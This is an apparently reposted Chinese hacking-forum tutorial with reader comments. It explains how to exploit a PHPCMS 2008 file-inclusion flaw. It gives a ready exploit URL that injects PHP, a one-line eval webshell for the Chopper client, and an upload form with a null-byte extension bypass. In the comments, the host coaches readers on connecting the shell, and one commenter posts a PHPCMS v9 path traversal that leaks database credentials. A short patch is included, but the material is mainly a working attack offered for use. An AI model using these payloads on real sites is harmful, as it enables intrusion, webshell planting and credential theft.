前几天在sebug看到了这个漏洞,http://sebug.net/vuldb/ssvid-60280

看了看作者对这个漏洞进行的分析,本人小菜只是略懂代码看了一看进行了测试,是对phpcms2008的利用吧,大牛看了不要喷

实例网站:http://www.xxoo.com 为了使网站不至于变成万人日

## 注册的时候选择企业用户
if(!$company_user_infos)
{
        $MS['title'] = '您不是企业会员';
        $MS['description'] = '你可以做下面操作';
        $MS['urls'][0] = array(
                'name'=>'免费升级为企业会员',
                'url'=>$PHPCMS['siteurl'].$M['url'].'company.php?action=member',
                );
        $MS['urls'][1] = array(
                'name'=>'退出当前帐号,换其他帐号登陆',
                'url'=>$PHPCMS['siteurl'].'member/logout.php',
                );
        $MS['urls'][2] = array(
                'name'=>'重新注册为企业会员',
                'url'=>$PHPCMS['siteurl'].'member/logout.php?forward='.urlencode($PHPCMS['siteurl'].'member/register.php'),
                );
        msg($MS);

这段代码写了我们注册的时候要注册的是企业会员,有的网站可以注册免费会员然后可以直接免费升级到企业会员的这也是可以利用的

我们进行一个企业会员的注册 ,然后进行登陆

phpcms2008包含漏洞的利用

登录以后使用这个,EXP:

http://localhost/yp/business/?file=../../admin/block&action=post&blockid=eval&template=<?php phpinfo();exit();?>

这段可以直接看到phpinfo里面的内容,如果可以直接看到这个可以证明存在漏洞,是可以远程包含的

但是经测试这段作者构造的表单在实际运用中没作用

<form id="frmUpload" enctype="multipart/form-data"
action="http://localhost/phpcms/yp/business/?file=../../admin/upload&C[upload_allowext]=php|Php%00.|php%00&dosubmit=yes" method="post">
<h1>Upload a new file:</h1>
<input type="file" name="uploadfile" size="50">
<input id="btnUpload" type="submit" value="Upload">
</form>

作者说是attachment.class.php里面有黑名单,等等再仔细研究下这个文件吧

可以看到phpinfo里面的内容了,可以包含那我们就直接包含一个一句话上去吧

http://localhost/yp/business/?file=../../admin/block&action=post&blockid=eval&template=<?php eval($_POST[k]);exit();?>

直接点击运行,然后可以用菜刀或者php一句话客户端进行连接就ok了

对了,自己上传shell以后,路径是在yp/business/ 下面的

phpcms2008包含漏洞的利用

既然网站存在这个漏洞,我们怎么修补呢,小菜是这样修补的,经测试是可以的

//file_put_contents($tplfile, $tpldata);
//include $tplfile;
//@unlink($tplfile);

这几句代码是在 网站根目录   admin/block.inc.php 这个文件里 把这三句代码注释掉就ok了

最后,求点金币  求基友,求指导

转自:http://forum.90sec.org/viewthread.php?tid=3158&extra=page%3D1%26amp%3Borderby%3Ddateline%26amp%3Bfilter%3D2592000

没有看懂怎么利用的同学,请查阅此文:phpcms 2008多个漏洞 (可getshell)

留言评论(旧系统):

【匿名者】 @ 2012-07-24 17:14:58

用菜刀貌似不行的吧 是验证登录的额……

本站回复:

自定义 Cookie

雨中风铃 @ 2012-07-24 23:22:45

最近phpcms漏洞是很多 phpcms v9爆源代码漏洞: index.php?m=search&c=index&a=public_get_suggest_keyword&url=asdf&q=../../index.php index.php?m=search&c=index&a=public_get_suggest_keyword&url=asdf&q=../../phpsso_server/caches/configs/database.php 爆数据库用户名 密码

本站回复:

phpcms 一直都是满地窟窿:http://www.google.com.hk/search?q=site:lcx.cc+phpcms

【匿名者】 @ 2012-07-25 07:50:47

菜刀下要验证登陆麻烦.怎么在当前目录下生成个一句话呢核总!求给EXP,3Q!

本站回复:

这里:template=<?php eval($_POST[k]);exit();?>,你自己构造语句即可。

【匿名者】 @ 2012-07-25 14:54:24

站长一句话怎么生成,生成在哪个目录。

本站回复:

file_put_contents($tplfile, $tpldata);

【匿名者】 @ 2012-07-25 15:01:31

一句话木马生成地址是:www.xxx.com/xxx/xxx/xx.php,在哪。

本站回复:

伸手类问题,不会回答,如想知道答案,请自己测试。

【匿名者】 @ 2012-07-25 16:31:17

菜刀自定义COOKie是在配置里么?

本站回复:

菜刀说明书有写,你懒得看,我也懒得说…… ╮(╯_╰)╭

【匿名者】 @ 2012-07-26 01:27:14

在菜刀下验证登陆,是这样么?http://admin:admin888@lcx.cc/yp/business/?file=../../admin/block&action=post&blockid=eval&template=<?php%20eval($_POST[k]);exit();?> ,我自己测试了半天还是不成功,怎么在当前目录下生成个一句话呢?不懂PHP,不会构造呀,核总帮构造个吧,经常来你这里看文章,学了很多东西,还请老大照顾下我们这些小菜.菜刀那说明书看了半天还是不成功,唉,好悲剧.

本站回复:

菜刀没有提供自定义 Cookie 功能,这里用不到。 文章内容你们没仔细看,说的很明白,直接把菜刀链接地址填写为: http://localhost/yp/business/?file=../../admin/block&action=post&blockid=eval&template=<?php eval($_POST[k]);exit();?> 即可。根本不需要什么在目录中生成一句话。

佚名 @ 2012-11-29 23:01:39

这个貌似不可能直接连把 http://localhost/yp/business/?file=../../admin/block&action=post&blockid=eval&template=<?php eval($_POST[k]);exit();?> 这个要访问的话必须是登录的,用不了菜刀啊,菜刀又没有自定义cookies的功能。

本站回复:

菜刀有自定义Cookie功能(下次留言之前,建议先打开说明文档,即使懒得看,也应该先“Ctrl+F”查找一下)。 还有,只会用工具、而且还要别人全部准备好、自己只点个开始按钮的话,我建议你无需阅读以下内容了。 针对你“不可能直接连”的语句,我只想说,至少有三种以上的方法进行连接: 1、自定义 Cookie 2、利用脚本数据中转,在中转数据中添加Cookie。(和注入中转类似,但是,如果都有时间写这个脚本的话,早可以用第三种方法解决了,该方法纯属脱裤子放屁,故意复杂化) 3、修改PHP语句,改成写文件功能,直接写一个小马,然后连接小马。 其他的懒得写了,反正伸手党基本无脑,不会思考,写了也是对牛弹琴…… ╮(╯_╰)╭

佚名 @ 2012-12-01 13:28:46

这个貌似是一开始你在误导我的吧,一开始你说能丢在菜刀里,我说要登录,你说菜刀说明文档里有自定义cookies的,然后现在又说菜刀没有自定义COOKIES的功能,看清楚你自己前面写的好不,前面几条都是我在问的,我拿的哪个站是因为目录可写就不可执行,可执行就不可写,要不我不早就先生成文件了么。

本站回复:

第二种方法,利用脚本中转数据即可。

佚名 @ 2012-12-01 14:42:57

如果说是要访问的话肯定是可以的,就谷歌浏览器先登录在用php一句话客户端就可以连接了,我是问的菜刀,我把菜刀配置文件都翻遍了,都没看出哪里可以设置cookies来。

本站回复:

其自带的浏览器可以设置cookie。